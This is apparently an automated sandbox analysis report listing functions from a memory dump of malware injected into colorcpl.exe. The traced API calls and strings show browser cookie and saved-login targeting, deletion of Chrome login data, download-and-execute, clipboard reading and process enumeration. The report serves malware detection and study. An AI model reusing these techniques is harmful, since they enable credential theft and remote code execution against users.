Instruction Fuzzy Hash: 5E61D17454A3019FEB05EFA4E8A1FEE77D49FC5710F04880EF5925B2D0EA709A09D7A2

Function 030A86FE Relevance: 15.2, APIs: 10, Instructions: 228serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,00000004,031027F8), ref: 030A8714
EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,?,00000000,?,?,?), ref: 030A8763
GetLastError.KERNEL32 ref: 030A8771
EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,00000000,?,?,?,?), ref: 030A87A9

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: EnumServicesStatus$ErrorLastManagerOpen
String ID:
API String ID: 3587775597-0
Opcode ID: 2889d2a7ce2baad34d01a257ea4c9a9d6bcde5edbe4e53704b12ff5dfdb25c01
Instruction ID: eef7d8314731978acf83af4e407cfe75181251bcea5baf793329263fd9c94074
Opcode Fuzzy Hash: 2889d2a7ce2baad34d01a257ea4c9a9d6bcde5edbe4e53704b12ff5dfdb25c01
Instruction Fuzzy Hash: EC815A7520A345AFD708EB61D890EEFB7E8AFD4610F50481EF1924A150EF34AA09DB92

Function 0309B28E Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,\Mozilla\Firefox\Profiles\,00000000,?,?), ref: 0309B2DC
FindNextFileW.KERNEL32(00000000,?,?,?), ref: 0309B3AF
FindClose.KERNEL32(00000000,?,?), ref: 0309B3BE
FindClose.KERNEL32(00000000,?,?), ref: 0309B3E9

Strings

\Mozilla\Firefox\Profiles\, xrefs: 0309B2AF
\cookies.sqlite, xrefs: 0309B34A
AppData, xrefs: 0309B299

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: Find$CloseFile$FirstNext
String ID: AppData$\Mozilla\Firefox\Profiles\$\cookies.sqlite
API String ID: 1164774033-405221262
Opcode ID: 21f3fa75f48fe484f5a89ae49f25e102a2a506c31e063a29f1926a0d8ed25109
Instruction ID: cf8fbfb8d6efe5aabb9cb45dc3c3afeda1e742d5dd5173c2b6853564e0775091
Opcode Fuzzy Hash: 21f3fa75f48fe484f5a89ae49f25e102a2a506c31e063a29f1926a0d8ed25109
Instruction Fuzzy Hash: 8D31B335A023195FEF18F7A4EC94EEE777CAF90620F00055BE0169A091EFB4994AEA44

Function 030A28E3 Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 485registrylibraryloaderCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 030A29B8
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 030A29C4
LoadLibraryA.KERNEL32(Shlwapi.dll,SHDeleteKeyW,00000000,00000001), ref: 030A2CBA
GetProcAddress.KERNEL32(00000000), ref: 030A2CC1

Strings

Shlwapi.dll, xrefs: 030A2CB5
SHDeleteKeyW, xrefs: 030A2CB0

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: AddressCloseCreateLibraryLoadProc
String ID: SHDeleteKeyW$Shlwapi.dll
API String ID: 1563625733-314212984
Opcode ID: 7eeac889a447a86edc801ff4a60c021997f07c1899d6b0149fb5998c9b1d9128
Instruction ID: 292c9eb9b056e986df70f6afa3b1f2785c3fb8b7fbd7bce1d3bfe9f99178127b
Opcode Fuzzy Hash: 7eeac889a447a86edc801ff4a60c021997f07c1899d6b0149fb5998c9b1d9128
Instruction Fuzzy Hash: 9AE1DB7AB073016BDE18F7B8EC65DEE76AD6FD1110F400E2EE5429F1D1EE258A049292

Function 030D66BF Relevance: 10.9, APIs: 7, Instructions: 370timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 030D6741
_free.LIBCMT ref: 030D6765
_free.LIBCMT ref: 030D68EC
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,030EC1E4), ref: 030D68FE
WideCharToMultiByte.KERNEL32(00000000,00000000,030FF754,000000FF,00000000,0000003F,00000000,?,?), ref: 030D6976
WideCharToMultiByte.KERNEL32(00000000,00000000,030FF7A8,000000FF,?,0000003F,00000000,?), ref: 030D69A3
_free.LIBCMT ref: 030D6AB8

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: _free$ByteCharMultiWide$InformationTimeZone
String ID:
API String ID: 314583886-0
Opcode ID: c76ea5478f466685a9fd0c673f0a5f187ef8883af9f309d09b9560f887b8ca1b
Instruction ID: 2751e3b37fadac0d0f7f4c779267a509d0511434630f6db2d099f3cef644790d
Opcode Fuzzy Hash: c76ea5478f466685a9fd0c673f0a5f187ef8883af9f309d09b9560f887b8ca1b
Instruction Fuzzy Hash: 99C10775A0234DAFDB24EF78D844AAEFBFCEF41210F9841AED4959B240E7369941CB50

Function 0309A953 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 49fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(00000000,\AppData\Local\Google\Chrome\User Data\Default\Login Data), ref: 0309A98F
GetLastError.KERNEL32 ref: 0309A999

Strings

[Chrome StoredLogins not found], xrefs: 0309A9B3
UserProfile, xrefs: 0309A95F
\AppData\Local\Google\Chrome\User Data\Default\Login Data, xrefs: 0309A95A
[Chrome StoredLogins found, cleared!], xrefs: 0309A9BF

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: DeleteErrorFileLast
String ID: [Chrome StoredLogins found, cleared!]$[Chrome StoredLogins not found]$UserProfile$\AppData\Local\Google\Chrome\User Data\Default\Login Data
API String ID: 2018770650-1062637481
Opcode ID: eed1bdeeee2dbfab12d843fcc532fd4aed288af3386cb150e88de81ec4082fcf
Instruction ID: 1aadae19ab77d09922ddbed7c3ec288688a722075c4f19d434ac787b4832368a
Opcode Fuzzy Hash: eed1bdeeee2dbfab12d843fcc532fd4aed288af3386cb150e88de81ec4082fcf
Instruction Fuzzy Hash: F0014E35B8720C6FEF44FBB4EC278FEB72CBEA1410B40015BE0025F682EE02950496C2

Function 0309838E Relevance: 9.3, APIs: 6, Instructions: 293fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 03098393
__CxxThrowException@8.LIBVCRUNTIME ref: 0309842F
FindFirstFileW.KERNEL32(00000000,?,?,?,00000064), ref: 0309848D
FindNextFileW.KERNEL32(00000000,?), ref: 030984E5
FindClose.KERNEL32(000000FF,?,?,?,?,?,?), ref: 030984FC
FindClose.KERNEL32(00000000), ref: 030986F4

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: Find$CloseFile$Exception@8FirstH_prologNextThrow
String ID:
API String ID: 242384754-0
Opcode ID: 2ac7b69dfb4f07a02ffe2f8759c06511020d13239b68d306d48a02a0832ce687
Instruction ID: 848b987bc507919169e18c5e6b330f2eb642b7e5379646f36f971ef6e27677db
Opcode Fuzzy Hash: 2ac7b69dfb4f07a02ffe2f8759c06511020d13239b68d306d48a02a0832ce687
Instruction Fuzzy Hash: 5FB18F3690220DAFEF18FBA0DC91AEDB378AF95210F00415BE516AF191EF345B49DB50

Function 030A0763 Relevance: 9.2, APIs: 6, Instructions: 206memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 030A0201: SetLastError.KERNEL32(0000000D,030A0781,00000000,?,?,?,?,?,?,?,?,?,?,?,?,030A075F), ref: 030A0207

SetLastError.KERNEL32(000000C1,00000000,?,?,?,?,?,?,?,?,?,?,?,?,030A075F), ref: 030A079C
GetNativeSystemInfo.KERNEL32(?,0309BE60,00000000,?,?,?,?,?,?,?,?,?,?,?,?,030A075F), ref: 030A080A
SetLastError.KERNEL32(0000000E,?,?,?,?,?,?,?,?,?), ref: 030A082E

Part of subcall function 030A0708: VirtualAlloc.KERNEL32(00000004,00000004,00000004,00000004,030A084C,?,00000000,00003000,00000004,00000000,?,?), ref: 030A0718

GetProcessHeap.KERNEL32(00000008,00000040,?,?,?,?,?), ref: 030A0875
HeapAlloc.KERNEL32(00000000,?,?,?,?,?), ref: 030A087C
SetLastError.KERNEL32(0000045A,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 030A098F

Part of subcall function 030A0ADC: GetProcessHeap.KERNEL32(00000000,00000000,?,00000000,030A099C,?,?,?,?,?), ref: 030A0B4C
Part of subcall function 030A0ADC: HeapFree.KERNEL32(00000000,?,?,?,?,?), ref: 030A0B53

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: ErrorHeapLast$AllocProcess$FreeInfoNativeSystemVirtual
String ID:
API String ID: 3950776272-0
Opcode ID: c3fee6f674210480fff3614bd3e9ac9aa6e3060ca0edaca5c05003624f095539
Instruction ID: 8f5a43037e9afdce18bf1d214ab84b7b16eed83274edc4c3b0487ba9de326bc3
Opcode Fuzzy Hash: c3fee6f674210480fff3614bd3e9ac9aa6e3060ca0edaca5c05003624f095539
Instruction Fuzzy Hash: 5061F474602B19ABD790EFADE880B6F7BE9BF84751F084118E9458B281DB74D840CBD1

Function 030A8A00 Relevance: 9.0, APIs: 6, Instructions: 39serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000010,00000000,00000001,?,030A8656,00000000), ref: 030A8A09
OpenServiceW.ADVAPI32(00000000,00000000,00000010,?,030A8656,00000000), ref: 030A8A1E
CloseServiceHandle.ADVAPI32(00000000,?,030A8656,00000000), ref: 030A8A2B
StartServiceW.ADVAPI32(00000000,00000000,00000000,?,030A8656,00000000), ref: 030A8A36
CloseServiceHandle.ADVAPI32(00000000,?,030A8656,00000000), ref: 030A8A48
CloseServiceHandle.ADVAPI32(00000000,?,030A8656,00000000), ref: 030A8A4B

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$Open$ManagerStart
String ID:
API String ID: 276877138-0
Opcode ID: 916a2ce6d88f99553a2785bf76140888d6e887fae5454348a579c7661b5fc196
Instruction ID: 9f8503e6e8daa375d07dff7daeccd4b41c3762d54d8e0ebd8dd408b947d52a9c
Opcode Fuzzy Hash: 916a2ce6d88f99553a2785bf76140888d6e887fae5454348a579c7661b5fc196
Instruction Fuzzy Hash: 5CF089752432396FE611FB64BC88DBF2FACDF95BA2B000456F4059A1408B698D49A571

Function 030DF61C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(FDE8FE81,2000000B,00000000,00000002,00000000,?,?,?,030DF93B,?,00000000), ref: 030DF6B5
GetLocaleInfoW.KERNEL32(FDE8FE81,20001004,00000000,00000002,00000000,?,?,?,030DF93B,?,00000000), ref: 030DF6DE
GetACP.KERNEL32(?,?,030DF93B,?,00000000), ref: 030DF6F3

Strings

OCP, xrefs: 030DF670
ACP, xrefs: 030DF63A

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 41861c7c9930548fd5b5c236fd0d5fb4ee866043d791cf0e54e91fbc7ec417ff
Instruction ID: f50d283528aef3534330b07e26900a55676d8441aaec846486bbad1f319ec92a
Opcode Fuzzy Hash: 41861c7c9930548fd5b5c236fd0d5fb4ee866043d791cf0e54e91fbc7ec417ff
Instruction Fuzzy Hash: 0121B622702307AAD770DF65D900A9BB3EAEF44E54B5EC4A4E94BDB924E732D940C750

Function 030A9493 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(SETTINGS,0000000A), ref: 030A94A4
LoadResource.KERNEL32(00000000,?,?,?,0309DD9E), ref: 030A94B8
LockResource.KERNEL32(00000000,?,?,?,0309DD9E), ref: 030A94BF
SizeofResource.KERNEL32(00000000,?,?,?,0309DD9E), ref: 030A94CE

Strings

SETTINGS, xrefs: 030A9497

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: Resource$FindLoadLockSizeof
String ID: SETTINGS
API String ID: 3473537107-594951305
Opcode ID: 63ec66361c90ab3ad370a2c429d124c0c908f79b1de3f472d02d02c4fc6ee720
Instruction ID: ab611aa5f827f2bdfd02ba0ce22b236795489188083eeb8142788d25863d15af
Opcode Fuzzy Hash: 63ec66361c90ab3ad370a2c429d124c0c908f79b1de3f472d02d02c4fc6ee720
Instruction Fuzzy Hash: 39E01279302315AFC7223BA9B88CD177E65E7D5B527080054F65186609CF3A8C00CA10

Function 030987A0 Relevance: 7.7, APIs: 5, Instructions: 222fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 030987A5
FindFirstFileW.KERNEL32(00000000,?,00000000,00000000,?), ref: 0309881D
FindNextFileW.KERNEL32(00000000,?), ref: 03098846
FindClose.KERNEL32(000000FF,?,?,?,?,?,?), ref: 0309885D

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstH_prologNext
String ID:
API String ID: 1157919129-0
Opcode ID: 761da3edf19236a5e10aafe0c8c5150ef557970f10d5e2e010590142f13d396f
Instruction ID: f9a7cb041c7a0ffb213fb2a29ab89dcd17df1fc74b717c1c49b71b2bb90169fb
Opcode Fuzzy Hash: 761da3edf19236a5e10aafe0c8c5150ef557970f10d5e2e010590142f13d396f
Instruction Fuzzy Hash: 2081533690221D9FEF19FBA0DC90DEDB3B8AF95210F14466BD416AB190EF305B49EB50

Function 030DF7F0 Relevance: 7.7, APIs: 5, Instructions: 188COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 030D5725: GetLastError.KERNEL32(?,?,030C8595,?,?,?,030C8C17,030C988A,?,03101E78), ref: 030D5729
Part of subcall function 030D5725: _free.LIBCMT ref: 030D575C
Part of subcall function 030D5725: SetLastError.KERNEL32(00000000,?,03101E78,?,?,?,?,?,?,?,?,?,030C988A,00000000,030A52D9,00000000), ref: 030D579D
Part of subcall function 030D5725: _abort.LIBCMT ref: 030D57A3

Part of subcall function 030D5725: _free.LIBCMT ref: 030D5784
Part of subcall function 030D5725: SetLastError.KERNEL32(00000000,?,03101E78,?,?,?,?,?,?,?,?,?,030C988A,00000000,030A52D9,00000000), ref: 030D5791

GetUserDefaultLCID.KERNEL32(?,?,?), ref: 030DF8FC
IsValidCodePage.KERNEL32(00000000), ref: 030DF957
IsValidLocale.KERNEL32(?,00000001), ref: 030DF966
GetLocaleInfoW.KERNEL32(?,00001001,030D1F7E,00000040,?,030D209E,00000055,00000000,?,?,00000055,00000000), ref: 030DF9AE
GetLocaleInfoW.KERNEL32(?,00001002,030D1FFE,00000040), ref: 030DF9CD

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: ErrorLastLocale$InfoValid_free$CodeDefaultPageUser_abort
String ID:
API String ID: 745075371-0
Opcode ID: 160e300a4f29bdb1dbfacc8f7120a2e828428d33017d64ba09a0a7ef9e0dfeff
Instruction ID: 4d9552bff25ed5f023705c568011f813e01a549c1078fbe2efe5610a7d5617e8
Opcode Fuzzy Hash: 160e300a4f29bdb1dbfacc8f7120a2e828428d33017d64ba09a0a7ef9e0dfeff
Instruction Fuzzy Hash: 26516375E0230BAFEB50EFA5DC44ABEF7F8AF44700F088469E916EB190D7719A508761

Function 03097848 Relevance: 7.7, APIs: 5, Instructions: 186fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0309784D
FindFirstFileW.KERNEL32(00000000,?,030F32A8,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 03097906
__CxxThrowException@8.LIBVCRUNTIME ref: 0309792E
FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0309793B
FindClose.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 03097A51

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: Find$File$CloseException@8FirstH_prologNextThrow
String ID:
API String ID: 1771804793-0
Opcode ID: 163a86c897ca79b0abadded7a444d42e41c35c17150b7a96bcc44d96f1065b79
Instruction ID: f6562b23587985c1f0bbb8ff069124c7ec4d3c35596de4b3814ae9b2143c34af
Opcode Fuzzy Hash: 163a86c897ca79b0abadded7a444d42e41c35c17150b7a96bcc44d96f1065b79
Instruction Fuzzy Hash: 6F519376A0230DABDF04FBA4DC559ED77BCAF91200F40455BE806AB191EF349B49DB90

Function 0309E2E7 Relevance: 7.6, APIs: 5, Instructions: 132processCOMMON

Download Yara Rule

APIs

Part of subcall function 030A9F23: GetCurrentProcess.KERNEL32(?,?,?,0309C663,WinDir,00000000,00000000), ref: 030A9F34

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0309E305
Process32FirstW.KERNEL32(00000000,?), ref: 0309E329
Process32NextW.KERNEL32(00000000,0000022C), ref: 0309E338
CloseHandle.KERNEL32(00000000), ref: 0309E4EF

Part of subcall function 030A9F51: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,0309DFB9,00000000,?,?,00000001), ref: 030A9F66

Part of subcall function 030A9F87: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000), ref: 030A9F9C

Process32NextW.KERNEL32(00000000,0000022C), ref: 0309E4E0

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: ProcessProcess32$NextOpen$CloseCreateCurrentFirstHandleSnapshotToolhelp32
String ID:
API String ID: 1735047541-0
Opcode ID: dd270eca539938fab2380636af8636a1442302dc4496233afc87cce4e9086c15
Instruction ID: f99216a016f341ebde700a6ccba38606d7aed44692a183bbe7203cf4d4c176a8
Opcode Fuzzy Hash: dd270eca539938fab2380636af8636a1442302dc4496233afc87cce4e9086c15
Instruction Fuzzy Hash: 3041463520A3499BD738FB64D860AEFF3D8AFD4300F50492EE44E8A191EF30990AD752

Function 030963C6 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 222filenetworkCOMMON

Download Yara Rule

APIs

ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 030964D2
URLDownloadToFileW.URLMON(00000000,00000000,00000004,00000000,00000000), ref: 030965B6

Strings

open, xrefs: 030964CC
C:\Windows\SysWOW64\colorcpl.exe, xrefs: 0309651D, 03096645

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: DownloadExecuteFileShell
String ID: C:\Windows\SysWOW64\colorcpl.exe$open
API String ID: 2825088817-1189844230
Opcode ID: 45ab79230c6216621184c04b25b4351d62aa7632fdeed314370676cbbaac4c07
Instruction ID: 7005d9a105fc2b32bf8fd4feed7950b387dbfe2d7143269e8053e6f815fc7f8a
Opcode Fuzzy Hash: 45ab79230c6216621184c04b25b4351d62aa7632fdeed314370676cbbaac4c07
Instruction Fuzzy Hash: 7F6106397063096FEE18FBB4C865AFE77A99FD1520F00095FE5429F1D1EF218A08E252

Function 030AA76C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 83COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000014,00000000,00000000,00000003), ref: 030AA861

Part of subcall function 030A215F: RegCreateKeyA.ADVAPI32(80000001,Control Panel\Desktop,030F30C0), ref: 030A216E
Part of subcall function 030A215F: RegSetValueExA.KERNEL32(030F30C0,?,00000000,?,00000000,00000000,Control Panel\Desktop,?,?,030AA83B,WallpaperStyle,030F30C0), ref: 030A2196
Part of subcall function 030A215F: RegCloseKey.KERNEL32(030F30C0,?,?,030AA83B,WallpaperStyle,030F30C0), ref: 030A21A1

Strings

TileWallpaper, xrefs: 030AA84B
Control Panel\Desktop, xrefs: 030AA7A7, 030AA7DA, 030AA82A
WallpaperStyle, xrefs: 030AA7AC, 030AA7DF, 030AA82F

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: CloseCreateInfoParametersSystemValue
String ID: Control Panel\Desktop$TileWallpaper$WallpaperStyle
API String ID: 4127273184-3576401099
Opcode ID: fece7682a97996d78b1ef29f0a0fd233996df34b01688cc3cb96b9e3ef37f454
Instruction ID: a67e5e857ca8c826b8467fe6da7da6df76f6c474c044948bf94bbbe472dc10dc
Opcode Fuzzy Hash: fece7682a97996d78b1ef29f0a0fd233996df34b01688cc3cb96b9e3ef37f454
Instruction Fuzzy Hash: B511B725F837043FE818B5BD5D6BBAF281993C6A60F450559E7122FAC7D5C24642C3C6

Function 030DEEB8 Relevance: 6.2, APIs: 4, Instructions: 236COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 030D5725: GetLastError.KERNEL32(?,?,030C8595,?,?,?,030C8C17,030C988A,?,03101E78), ref: 030D5729
Part of subcall function 030D5725: _free.LIBCMT ref: 030D575C
Part of subcall function 030D5725: SetLastError.KERNEL32(00000000,?,03101E78,?,?,?,?,?,?,?,?,?,030C988A,00000000,030A52D9,00000000), ref: 030D579D
Part of subcall function 030D5725: _abort.LIBCMT ref: 030D57A3

IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,030D1F85,?,?,?,?,030D19DC,?,00000004), ref: 030DEF9A
_wcschr.LIBVCRUNTIME ref: 030DF02A
_wcschr.LIBVCRUNTIME ref: 030DF038
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,030D1F85,00000000,030D20A5), ref: 030DF0DB

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid_abort_free
String ID:
API String ID: 4212172061-0
Opcode ID: 985a8c9bf8969d27e39efbf8950e36b6c32b786bc47d1a4e9f17e4c56e7a4c94
Instruction ID: 60d93228ddb331dfd3f7977769427e2d1a86da44bb2f16c0d87d27bc4c1120a7
Opcode Fuzzy Hash: 985a8c9bf8969d27e39efbf8950e36b6c32b786bc47d1a4e9f17e4c56e7a4c94
Instruction Fuzzy Hash: 1761D639602706AADB24FB35DC45BAAB7ECEF44750F184469E91ADF180EB74E940C760

Function 030C98AC Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 030C99A4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 030C99AE
UnhandledExceptionFilter.KERNEL32(?), ref: 030C99BB

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 385bbae1be2bbf120bfb16599f58bda85bc67dc4ebe8e9331ce56274f9ea20f7
Instruction ID: 2a36d71346f57c542bff15c7b596689fdb0eb2e1f369f252de34c9d81a5d77fc
Opcode Fuzzy Hash: 385bbae1be2bbf120bfb16599f58bda85bc67dc4ebe8e9331ce56274f9ea20f7
Instruction Fuzzy Hash: B231B47591221C9BCB61EF69D8887CDB7B8FF58310F5041EAE40CAB250E7349B858F45

Function 0309A65A Relevance: 4.5, APIs: 3, Instructions: 19clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(00000000), ref: 0309A65D
GetClipboardData.USER32(0000000D), ref: 0309A669
CloseClipboard.USER32 ref: 0309A671

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: Clipboard$CloseDataOpen
String ID:
API String ID: 2058664381-0
Opcode ID: 3a389912a397da8992e695e15072fe5180b7cbbd65ca7086f6a1e010be76faca
Instruction ID: d8c9dbf5fd9f1250113854ec85cabf3d0c1c72cc3729523e82153890c07501ba
Opcode Fuzzy Hash: 3a389912a397da8992e695e15072fe5180b7cbbd65ca7086f6a1e010be76faca
Instruction Fuzzy Hash: B7E0C2307473249BEA20EB70F808B8EB7949FA0F21F05451AB41D9E148CB749800DBA8

Function 030C28FC Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00032908,030C262F), ref: 030C2901

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
